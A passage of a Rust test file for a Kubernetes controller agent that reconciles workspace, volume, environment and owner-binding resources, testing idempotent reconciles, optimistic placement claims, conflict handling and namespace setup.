+#[tokio::test] +async fn a_second_reconcile_of_a_running_generation_does_not_start_a_second_operation() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let v = volume(1); + + // Stand in for an operation already in flight for this exact {uid, generation}. + ctx.running.lock().unwrap().insert( + "uid-1".to_string(), + (1, tokio::task::spawn_blocking(|| { + std::thread::sleep(std::time::Duration::from_secs(2)); + Ok(Done::default()) + })), + ); + + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + // Starting the operation is what creates the volume directory — its absence is the assertion + // that nothing was started, independent of whether btrfs exists on this machine. + assert!(!tmp.path().join("vol/vol-1").exists(), "a second operation was started"); +} + +/// A finished operation is observed on a LATER pass and written to status, and the reconcile that +/// observes it requeues no further. +#[tokio::test] +async fn a_finished_operation_writes_observed_generation_and_stops_requeueing() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let v = volume(7); + ctx.running.lock().unwrap().insert( + "uid-1".to_string(), + (7, tokio::task::spawn_blocking(|| Ok(Done { phase: rustic_git_workspaces::crd::Phase::Ready, ..Done::default() }))), + ); + + wait_idle(&ctx).await; + + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let sent = rec.sent("PATCH", VOL_STATUS); + assert_eq!(sent.len(), 1, "exactly one status write"); + assert_eq!(sent[0]["status"]["observedGeneration"], 7); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); + + // The guard against the classic hot loop: the same status, computed again, is not rewritten. + let mut observed = v.clone(); + observed.status = serde_json::from_value(sent[0]["status"].clone()).unwrap(); + let action = rustic_git_agent::controller::apply_volume(&observed, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert_eq!(rec.sent("PATCH", VOL_STATUS).len(), 1, "an unchanged status must not be rewritten"); +} + +/// Keep-biased: an API error or an unreadable pool means requeue with backoff, never "reality +/// doesn't match, so remove it". Same discipline as crates/registry/src/gc.rs. +#[tokio::test] +async fn a_reconcile_that_cannot_read_the_pool_deletes_nothing() { + let tmp = tempfile::tempdir().unwrap(); + // A regular file where the pool root must be: every path under it fails with NotADirectory. + let pool = tmp.path().join("pool"); + std::fs::write(&pool, b"not a directory").unwrap(); + let (ctx, rec) = ctx(&pool, vec![patch_ok(VOL_STATUS)]); + let v = volume(1); + + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + + // Let the doomed operation finish, then observe it. + wait_idle(&ctx).await; + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_ne!( + action, + kube::runtime::controller::Action::await_change(), + "a failed operation must be retried, not abandoned" + ); + + let sent = rec.sent("PATCH", VOL_STATUS); + let last = sent.last().expect("a failure must be reported in status"); + assert!(last["status"]["observedGeneration"].is_null(), "a failed generation is not observed"); + assert!( + last["status"]["conditions"].as_array().unwrap().iter().any(|c| c["type"] == "Ready" && c["status"] == "False"), + "the failure is reported as Ready=False: {last}" + ); + assert!(!rec.calls().iter().any(|c| c.starts_with("DELETE")), "nothing may be deleted: {:?}", rec.calls()); +} + +/// Every phase string the controller writes must deserialize into the enum `/v1` projects it into. +/// +/// `api::phase` falls back to a default on an unknown string instead of erroring, so a controller +/// that invents a word does not fail — it silently reports the default. That shipped: the workspace +/// reconcile wrote `running`, `WsState` spells that state `Ready`, and a healthy workspace showed +/// "Creating" in the UI indefinitely. Nothing failed and nothing logged. +#[test] +fn phase_names_the_doc_enum() { + use rustic_git_workspaces::model::{EnvState, WsState}; + + // Grepped from controller.rs. Volume phases are excluded deliberately: a Volume is never + // projected into a doc, so its vocabulary is its own. + use rustic_git_workspaces::crd::Phase; + for p in [Phase::Ready, Phase::Stopped, Phase::Error, Phase::Creating].map(Phase::as_str) { + assert!( + serde_json::from_value::(serde_json::json!(p)).is_ok(), + "workspace phase {p:?} does not deserialize as WsState" + ); + } + for p in [Phase::Running, Phase::Stopped, Phase::Error].map(Phase::as_str) { + assert!( + serde_json::from_value::(serde_json::json!(p)).is_ok(), + "environment phase {p:?} does not deserialize as EnvState" + ); + } + + // The exact regressions: neither of these is a state of its enum, and both were written. + assert!(serde_json::from_value::(serde_json::json!("running")).is_err()); + assert!(serde_json::from_value::(serde_json::json!("stopping")).is_err()); +} + +/// Deleting a volume while a push is still reading it must WAIT, not reclaim underneath it. +/// +/// `cleanup_local` removes the subvolume. Running that against a live `btrfs send` destroys the +/// source mid-stream, and the finalizer is precisely what makes waiting free: the object cannot go +/// away until cleanup returns, so a requeue costs one tick. +#[tokio::test] +async fn deleting_a_volume_waits_for_an_in_flight_operation() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let v = volume(1); + + // A push still in flight for this volume. + ctx.running.lock().unwrap().insert( + "uid-1".to_string(), + (1, tokio::task::spawn_blocking(|| { + std::thread::sleep(std::time::Duration::from_millis(700)); + Ok(Done::default()) + })), + ); + + let action = rustic_git_agent::controller::cleanup_volume(&v, &ctx).await.unwrap(); + assert_eq!( + action, + kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15)), + "cleanup must requeue while an operation is running, not reclaim the subvolume" + ); + // Still held: nothing was drained by a cleanup that decided to wait. + assert!(!ctx.running.lock().unwrap().is_empty()); + + // Once it finishes, the same call drains the handle and proceeds instead of requeueing + // forever — while deleting, the finalizer routes every pass here, so nothing else could. + wait_idle(&ctx).await; + rustic_git_agent::controller::cleanup_volume(&v, &ctx).await.unwrap(); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained by cleanup"); +} + +// ── placement claims ───────────────────────────────────────────────────── + +const WS_STATUS: &str = "/apis/rustic-git.io/v1alpha1/workspaces/ws-1/status"; +const BINDINGS: &str = "/apis/rustic-git.io/v1alpha1/ownerbindings"; + +fn ws_json(status: serde_json::Value) -> serde_json::Value { + let mut o = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", + "kind": "Workspace", + // `resourceVersion` is not decoration here: the claim carries it, and a test that omits it + // would pass against a forced apply — the exact primitive this design refuses. + "metadata": {"name": "ws-1", "uid": "ws-uid-1", "generation": 1, "resourceVersion": "42", + "labels": {"rustic-git.io/owner": "alice", "rustic-git.io/kind": "workspace", + "rustic-git.io/team": ""}}, + "spec": {"owner": "alice", "team": "", "name": "web", "region": "r1", + "image": "nginx:alpine", "storage": {"quotaGb": 20}, "desiredState": "running"}, + }); + // An object that has never been reconciled has NO status at all, not an empty one: `phase` is + // required by the schema, so `status: {}` is a shape the API server can never return. + if status != serde_json::json!({}) { + o["status"] = status; + } + o +} + +fn workspace(status: serde_json::Value) -> crd::Workspace { + serde_json::from_value(ws_json(status)).unwrap() +} + +/// The owner's binding, already NamespaceReady — the gate every workspace pass has to get past. +fn ready_binding() -> Route { + rustic_git_workspaces::kube_test::get( + format!("/apis/rustic-git.io/v1alpha1/ownerbindings/{}", crd::binding_name("r1", "alice")), + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": "r1-alice"}, + "spec": {"owner": "alice", "region": "r1", "nodeName": "node-a"}, + "status": {"conditions": [{"type": "NamespaceReady", "status": "True", + "reason": "Converged", "message": "ok", + "lastTransitionTime": "2026-08-27T00:00:00Z"}]}}), + ) +} + +fn pv_route(name: &str) -> Route { + Route { method: "PATCH", path: format!("/api/v1/persistentvolumes/{name}"), status: 200, + body: serde_json::json!({"apiVersion": "v1", "kind": "PersistentVolume", "metadata": {"name": name}}) } +} + +fn pvc_route(name: &str) -> Route { + Route { method: "PATCH", path: format!("/api/v1/namespaces/ws-alice/persistentvolumeclaims/{name}"), status: 200, + body: serde_json::json!({"apiVersion": "v1", "kind": "PersistentVolumeClaim", "metadata": {"name": name}}) } +} + +fn binding_route() -> Route { + rustic_git_workspaces::kube_test::post( + BINDINGS, + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": "r1-alice"}, + "spec": {"owner": "alice", "region": "r1", "nodeName": "node-a"}}), + ) +} + +/// The claim is ONE status write, and it is a status write — an API-authored spec is never touched +/// by a controller. Everything downstream (the Volume's node, the PV's affinity, therefore the +/// pod's node) is derived from this one field. +/// +/// It is a PUT (`replace_status`), not a forced apply: this is the one write in the system that +/// must be able to lose, and it carries the object's `resourceVersion` so that losing is a 409. +#[tokio::test] +async fn an_unplaced_workspace_is_claimed_with_one_optimistic_status_write() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PUT", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + binding_route(), + ], + ); + + rustic_git_agent::claim::claim_workspace(&workspace(serde_json::json!({})), &ctx).await.unwrap(); + + let sent = rec.sent("PUT", WS_STATUS); + assert_eq!(sent.len(), 1, "exactly one status write"); + assert_eq!(sent[0]["status"]["nodeName"], "node-a"); + assert_eq!(sent[0]["status"]["compatibleNodes"], serde_json::json!(["node-a"])); + // The schema declares `status.phase` required; a write without it is a 422 from a real server. + assert_eq!(sent[0]["status"]["phase"], "pending", "every status write carries a phase: {}", sent[0]); + assert_eq!( + sent[0]["metadata"]["resourceVersion"], "42", + "without the resourceVersion the write cannot conflict, and the claim cannot race: {}", sent[0] + ); + assert!( + sent[0]["status"]["conditions"].as_array().unwrap().iter().any(|c| c["type"] == "Placed"), + "the claim records itself as a condition: {}", sent[0] + ); + assert!(rec.calls().iter().any(|c| c == &format!("POST {BINDINGS}")), "the binding must exist after a claim"); + assert!( + !rec.calls().iter().any(|c| c == "PATCH /apis/rustic-git.io/v1alpha1/workspaces/ws-1"), + "a controller never patches an API-authored spec: {:?}", rec.calls() + ); +} + +/// `compatibleNodes` is the memory: a node not listed must leave the object alone so a listed one +/// can take it. Nothing today writes more than one entry, and nothing may assume that. +#[tokio::test] +async fn a_node_outside_compatible_nodes_does_not_claim() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let w = workspace(serde_json::json!({"phase": "pending", "nodeName": "", "compatibleNodes": ["node-b"]})); + + rustic_git_agent::claim::claim_workspace(&w, &ctx).await.unwrap(); + assert!(rec.calls().is_empty(), "a node that does not hold the disk writes nothing: {:?}", rec.calls()); +} + +/// An owner's namespaces are built only on the node their `OwnerBinding` names, so a fresh object +/// claimed anywhere else creates pods into a namespace that never exists. The binding, when there +/// is one, decides — `compatibleNodes` being empty is not a licence. +#[tokio::test] +async fn a_workspace_whose_owner_is_bound_to_another_node_is_not_claimed() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![rustic_git_workspaces::kube_test::get( + format!("/apis/rustic-git.io/v1alpha1/ownerbindings/{}", crd::binding_name("r1", "alice")), + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": "r1-alice"}, + "spec": {"owner": "alice", "region": "r1", "nodeName": "node-b"}}), + )], + ); + + rustic_git_agent::claim::claim_workspace(&workspace(serde_json::json!({})), &ctx).await.unwrap(); + assert!( + !rec.calls().iter().any(|c| c.starts_with("PUT") || c.starts_with("POST")), + "bound elsewhere: this node writes nothing: {:?}", + rec.calls() + ); +} + +/// An already-placed object is not re-claimed; a stop keeps `status.nodeName` precisely so a later +/// start reconciles on the same node with no placement step. +#[tokio::test] +async fn an_already_placed_workspace_is_left_alone() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let w = workspace(serde_json::json!({"phase": "ready", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + + rustic_git_agent::claim::claim_workspace(&w, &ctx).await.unwrap(); + assert!(rec.calls().is_empty(), "{:?}", rec.calls()); +} + +/// A pre-migration object matches the unplaced watch (it has no `status.nodeName` at all) while +/// already being placed by the deprecated `spec.nodeName`. Claiming it would hand it to whichever +/// agent saw it first, which is exactly how an owner's data ends up split across two pools. +#[tokio::test] +async fn a_legacy_spec_placed_workspace_is_not_claimed() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let mut w = workspace(serde_json::json!({})); + w.spec.node_name = Some("node-b".into()); + + rustic_git_agent::claim::claim_workspace(&w, &ctx).await.unwrap(); + assert!(rec.calls().is_empty(), "the migration places these, not the claim: {:?}", rec.calls()); +} + +/// Losing the race must be a REAL conflict. `Patch::Apply(..).force()` never conflicts — it is the +/// wrong primitive for the one write in this system that must race — so the claim is an optimistic +/// write carrying the object's `resourceVersion`, and a 409 means another node won. +/// +/// A 409 is not assumed to mean "placed": the claim RE-READS and runs the same decision again, so +/// a peer that only widened `compatibleNodes` does not scare this node off a claim it may still +/// make. Here the peer really did place it, so the re-read decides "leave it alone". +/// +/// The loser must also not create the OwnerBinding: that would bind an owner to a node that did +/// not win, and every later workspace of theirs would follow it. +#[tokio::test] +async fn a_claim_that_loses_the_race_re_reads_and_binds_nothing() { + let tmp = tempfile::tempdir().unwrap(); + let conflict = Route { + method: "PUT", + path: WS_STATUS.into(), + status: 409, + body: serde_json::json!({ + "kind": "Status", "apiVersion": "v1", "status": "Failure", + "reason": "Conflict", "code": 409, + "message": "the object has been modified; please apply your changes to the latest version" + }), + }; + let won_by_peer = ws_json(serde_json::json!({"phase": "pending", "nodeName": "node-b", "compatibleNodes": ["node-b"]})); + let (ctx, rec) = ctx( + tmp.path(), + vec![conflict, rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/workspaces/ws-1", won_by_peer)], + ); + + let action = rustic_git_agent::claim::claim_workspace(&workspace(serde_json::json!({})), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "the winner's write is our wake-up"); + assert!( + rec.calls().iter().any(|c| c == "GET /apis/rustic-git.io/v1alpha1/workspaces/ws-1"), + "a 409 must re-read and re-decide, not assume: {:?}", rec.calls() + ); + assert!( + !rec.calls().iter().any(|c| c.starts_with("POST")), + "the loser must not bind the owner to a node it did not win: {:?}", rec.calls() + ); + assert_eq!(rec.sent("PUT", WS_STATUS).len(), 1, "one attempt, then re-read and yield — not a retry loop"); +} + +/// `compatibleNodes` is a SET. Appending on a re-run grows the array without bound, and a +/// level-triggered reconciler re-runs by design. +#[tokio::test] +async fn claiming_twice_does_not_grow_compatible_nodes() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PUT", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + binding_route(), + ], + ); + // Already lists this node, but has no `nodeName` — the shape a claim that wrote + // `compatibleNodes` and then lost its status write leaves behind. + let w = workspace(serde_json::json!({"phase": "pending", "nodeName": "", "compatibleNodes": ["node-a"]})); + + rustic_git_agent::claim::claim_workspace(&w, &ctx).await.unwrap(); + let sent = rec.sent("PUT", WS_STATUS); + assert_eq!(sent[0]["status"]["compatibleNodes"], serde_json::json!(["node-a"]), "union, not append"); +} + +/// A `cloneOf` needs the SOURCE's disk, so the new object's own (empty) `compatibleNodes` cannot +/// decide — the source's can. A node that does not hold the source must not claim, or the clone +/// stops being a local btrfs snapshot and becomes a network copy of data that is already here. +#[tokio::test] +async fn a_clone_is_claimed_only_where_its_source_lives() { + let tmp = tempfile::tempdir().unwrap(); + let src = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Workspace", + "metadata": {"name": "ws-src"}, + "spec": {"owner": "alice", "team": "", "name": "src", "region": "r1", + "image": "nginx:alpine", "storage": {"quotaGb": 20}, "desiredState": "running"}, + "status": {"phase": "ready", "nodeName": "node-b", "compatibleNodes": ["node-b"]} + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/workspaces/ws-src", src)], + ); + let mut w = workspace(serde_json::json!({})); + w.spec.storage = Some(crd::WorkspaceStorage { + quota_gb: 20, + source: Some(crd::VolumeSource::CloneOf { volume: "ws-src".into() }), + }); + + rustic_git_agent::claim::claim_workspace(&w, &ctx).await.unwrap(); + assert!( + rec.sent("PUT", WS_STATUS).is_empty(), + "node-a does not hold ws-src's disk and must not claim its clone: {:?}", rec.calls() + ); +} + +fn env_json(status: serde_json::Value) -> serde_json::Value { + let mut o = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", + "kind": "Environment", + "metadata": {"name": "env-1", "uid": "env-uid-1", "generation": 1, "resourceVersion": "7"}, + "spec": {"owner": "acme", "name": "staging", "region": "r1", "services": [], + "storage": {"quotaGb": 20}, "desiredState": "running"}, + }); + if status != serde_json::json!({}) { + o["status"] = status; + } + o +} + +fn environment(status: serde_json::Value) -> crd::Environment { + serde_json::from_value(env_json(status)).unwrap() +} + +/// The environment claim is the workspace claim with a different opening phase — an environment has +/// containers to bring up before it is `running`, so it is `creating`, never `pending`. +#[tokio::test] +async fn an_unplaced_environment_is_claimed_as_creating() { + const ENV_STATUS: &str = "/apis/rustic-git.io/v1alpha1/environments/env-1/status"; + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PUT", path: ENV_STATUS.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::post( + BINDINGS, + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": "r1-acme"}, + "spec": {"owner": "acme", "region": "r1", "nodeName": "node-a"}}), + ), + ], + ); + + rustic_git_agent::claim::claim_environment(&environment(serde_json::json!({})), &ctx).await.unwrap(); + let sent = rec.sent("PUT", ENV_STATUS); + assert_eq!(sent.len(), 1, "exactly one status write"); + assert_eq!(sent[0]["status"]["phase"], "creating"); + assert_eq!(sent[0]["status"]["nodeName"], "node-a"); + assert_eq!(sent[0]["metadata"]["resourceVersion"], "7", "the claim races or it is not a claim: {}", sent[0]); + assert!(rec.calls().iter().any(|c| c == &format!("POST {BINDINGS}")), "the winner binds the owner"); + +} + +/// A legacy environment is the migration's job, not the claim's — same rule as the workspace side, +/// read off the environment's own deprecated `spec.nodeName`. +#[tokio::test] +async fn a_legacy_spec_placed_environment_is_not_claimed() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let mut legacy = environment(serde_json::json!({})); + legacy.spec.node_name = Some("node-b".into()); + + rustic_git_agent::claim::claim_environment(&legacy, &ctx).await.unwrap(); + assert!(rec.calls().is_empty(), "the migration places legacy environments, not the claim: {:?}", rec.calls()); +} + +fn binding_status() -> String { + format!("/apis/rustic-git.io/v1alpha1/ownerbindings/{}/status", crd::binding_name("r1", "alice")) +} + +fn ws_in_team(team: &str, node: &str) -> serde_json::Value { + let mut o = ws_json(serde_json::json!({"phase": "ready", "nodeName": node})); + o["spec"]["team"] = serde_json::json!(team); + o +} + +/// Every object the binding ensures in one namespace, answered with itself. +fn ns_routes(ns: &str) -> Vec { + let ok = |path: String, api: &str, kind: &str| Route { + method: "PATCH", + path, + status: 200, + body: serde_json::json!({"apiVersion": api, "kind": kind, "metadata": {"name": "x"}}), + }; + let mut r = vec![ + ok(format!("/api/v1/namespaces/{ns}"), "v1", "Namespace"), + ok(format!("/api/v1/namespaces/{ns}/limitranges/slot"), "v1", "LimitRange"), + ok( + format!("/apis/rbac.authorization.k8s.io/v1/namespaces/{ns}/rolebindings/api-secrets"), + "rbac.authorization.k8s.io/v1", + "RoleBinding", + ), + // The agent's own per-namespace host-key grant, in place of `secrets` cluster-wide. + ok( + format!("/apis/rbac.authorization.k8s.io/v1/namespaces/{ns}/rolebindings/agent-secrets"), + "rbac.authorization.k8s.io/v1", + "RoleBinding", + ), + ]; + for p in ["default-deny", "allow-dns", "allow-same-namespace", "allow-internet-egress", "allow-gateway-ssh"] { + r.push(ok( + format!("/apis/networking.k8s.io/v1/namespaces/{ns}/networkpolicies/{p}"), + "networking.k8s.io/v1", + "NetworkPolicy", + )); + } + r +} + +fn binding_json() -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": crd::binding_name("r1", "alice"), "uid": "ob-uid-1", "generation": 1}, + "spec": {"owner": "alice", "region": "r1", "nodeName": "node-a"} + }) +} + +/// The per-owner shared objects have exactly ONE owner now. They used to be re-ensured by the +/// workspace reconciler and the environment reconciler on every pass, which is two writers for one +/// object and a namespace deleted by whichever ran last. +#[tokio::test] +async fn a_binding_ensures_one_namespace_per_team_in_use_and_reports_ready() { + let tmp = tempfile::tempdir().unwrap(); + let ws_list = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "WorkspaceList", "metadata": {}, + // A team workspace here, and one on ANOTHER node: the second must not make this node build + // a namespace it does not host. + "items": [ + ws_json(serde_json::json!({"phase": "ready", "nodeName": "node-a"})), + ws_in_team("acme", "node-a"), + ws_in_team("elsewhere", "node-b"), + ] + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/workspaces", ws_list), + Route { method: "PATCH", path: binding_status(), status: 200, body: binding_json() }, + ] + .into_iter() + .chain(ns_routes("ws-alice")) + .chain(ns_routes(&crd::ws_namespace("alice", "acme"))) + .collect(), + ); + let b: crd::OwnerBinding = serde_json::from_value(binding_json()).unwrap(); + + rustic_git_agent::binding::apply_binding(&b, &ctx).await.unwrap(); + + assert!(rec.calls().iter().any(|c| c == "PATCH /api/v1/namespaces/ws-alice"), "{:?}", rec.calls()); + let sent = rec.sent("PATCH", "/api/v1/namespaces/ws-alice"); + assert!( + sent[0]["metadata"].get("ownerReferences").is_none(), + "a namespace shared by every workspace this user owns must never be GC'd with one binding: {}", sent[0] + ); + let limit = rec.sent("PATCH", "/api/v1/namespaces/ws-alice/limitranges/slot"); + assert!(limit[0]["metadata"].get("ownerReferences").is_none(), "a quota ceiling must not vanish with a binding rewrite"); + // Everything else the binding vouches for IS owned by it, so a re-homed owner does not strand + // a grant on the old node. + let rb = rec.sent("PATCH", "/apis/rbac.authorization.k8s.io/v1/namespaces/ws-alice/rolebindings/api-secrets"); + assert_eq!(rb[0]["metadata"]["ownerReferences"][0]["kind"], "OwnerBinding", "{}", rb[0]); + let acme = crd::ws_namespace("alice", "acme"); + assert!(rec.calls().iter().any(|c| *c == format!("PATCH /api/v1/namespaces/{acme}")), "{:?}", rec.calls()); + let stranded = crd::ws_namespace("alice", "elsewhere"); + assert!( + !rec.calls().iter().any(|c| *c == format!("PATCH /api/v1/namespaces/{stranded}")), + "a workspace on another node must not make namespaces here: {:?}", rec.calls() + ); + let st = rec.sent("PATCH", &binding_status()); + assert_eq!(st.len(), 1); + assert!( + st[0]["status"]["conditions"].as_array().unwrap().iter() + .any(|c| c["type"] == "NamespaceReady" && c["status"] == "True"), + "{}", st[0] + ); +} + +/// The hot loop this design has to not have: `crd::condition` stamps `lastTransitionTime` with +/// `now`, so a status write on every pass is new bytes, which fires this controller's own watch, +/// which writes again — forever, on an object nothing asked to change. +#[tokio::test] +async fn a_second_reconcile_of_a_ready_binding_writes_no_status() { + let tmp = tempfile::tempdir().unwrap(); + let ws_list = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "WorkspaceList", "metadata": {}, + "items": [ws_json(serde_json::json!({"phase": "ready", "nodeName": "node-a"}))] + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/workspaces", ws_list)] + .into_iter() + .chain(ns_routes("ws-alice")) + .collect(), + ); + // What the FIRST reconcile left behind, with an older `lastTransitionTime` than `now`. + let mut b = binding_json(); + b["status"] = serde_json::json!({ + "observedGeneration": 1, + "conditions": [{"type": "NamespaceReady", "status": "True", "reason": "Converged", + "message": "namespaces exist on this node", "observedGeneration": 1, + "lastTransitionTime": "2020-01-01T00:00:00Z"}], + }); + let b: crd::OwnerBinding = serde_json::from_value(b).unwrap(); + + rustic_git_agent::binding::apply_binding(&b, &ctx).await.unwrap(); + + assert!( + rec.sent("PATCH", &binding_status()).is_empty(), + "a status re-stamped with `now` is not a change: {:?}", rec.calls() + ); +} + +// ── the workspace reconciler and its volume child ──────────────────────── + +/// The stuck pod, as a test: a workspace whose disk does not exist yet must not get a pod. The +/// symptom this fixes was a pod wedged forever on `path … does not exist`, because the workspace +/// reconciler never looked at its volume's status. +#[tokio::test] +async fn a_workspace_with_an_unready_volume_creates_no_pod() { + let tmp = tempfile::tempdir().unwrap(); + let vol = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1", "uid": "vol-uid-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}, + "status": {"phase": "working", "subvolumePresent": false} + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/ws-1", vol), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + assert!( + !rec.calls().iter().any(|c| c.contains("/pods")), + "no pod may exist before its disk does: {:?}", + rec.calls() + ); + let st = rec.sent("PATCH", WS_STATUS); + assert_eq!(st.last().unwrap()["status"]["phase"], "creating"); + assert!( + st.last().unwrap()["status"]["conditions"] + .as_array() + .unwrap() + .iter() + .any(|c| c["type"] == "VolumeReady" && c["status"] == "False"), + "{}", + st.last().unwrap() + ); +} + +/// The child is created by the parent, from the parent's placement, with an ownerReference — which +/// is what makes `DELETE workspace` reclaim the disk with no ordering logic in the API. +#[tokio::test] +async fn a_placed_workspace_creates_its_volume_child_on_its_own_node() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::not_found("/apis/rustic-git.io/v1alpha1/volumes/ws-1"), + rustic_git_workspaces::kube_test::post( + "/apis/rustic-git.io/v1alpha1/volumes", + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}}), + ), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + + rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + + let sent = rec.sent("POST", "/apis/rustic-git.io/v1alpha1/volumes"); + assert_eq!(sent.len(), 1); + assert_eq!(sent[0]["spec"]["nodeName"], "node-a", "the Volume is created FROM status.nodeName"); + assert_eq!(sent[0]["spec"]["quotaGb"], 20); + let refs = sent[0]["metadata"]["ownerReferences"].as_array().expect("an ownerReference"); + assert_eq!(refs[0]["kind"], "Workspace"); + assert_eq!(refs[0]["name"], "ws-1"); + assert_eq!(refs[0]["controller"], true); +} + +/// A release-1 object has no `storage` and names its Volume in the deprecated pointer. It must be +/// ADOPTED — never failed for the missing field, and never given a second Volume. +#[tokio::test] +async fn a_legacy_workspace_adopts_the_volume_its_spec_names() { + let tmp = tempfile::tempdir().unwrap(); + let vol = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "vol-9", "uid": "vol-uid-9"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}, + "status": {"phase": "working", "subvolumePresent": false} + }); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/vol-9", vol), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let mut w = workspace(serde_json::json!({})); + w.spec.storage = None; + w.spec.volume_ref = Some("vol-9".into()); + w.spec.node_name = Some("node-a".into()); + + rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + + assert!(rec.sent("POST", "/apis/rustic-git.io/v1alpha1/volumes").is_empty(), "a legacy object is adopted"); + let st = rec.sent("PATCH", WS_STATUS); + assert_eq!(st.last().unwrap()["status"]["volumeRef"], "vol-9", "the pointers are mirrored into status"); + assert_eq!(st.last().unwrap()["status"]["nodeName"], "node-a"); +} + +/// A NEW object with no `storage` can never build a disk, and no retry adds a field. +#[tokio::test] +async fn a_new_workspace_without_storage_fails_permanently() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }], + ); + let mut w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a"})); + w.spec.storage = None; + + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "permanent: never retried"); + let st = rec.sent("PATCH", WS_STATUS); + assert_eq!(st.last().unwrap()["status"]["phase"], "error"); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["reason"], 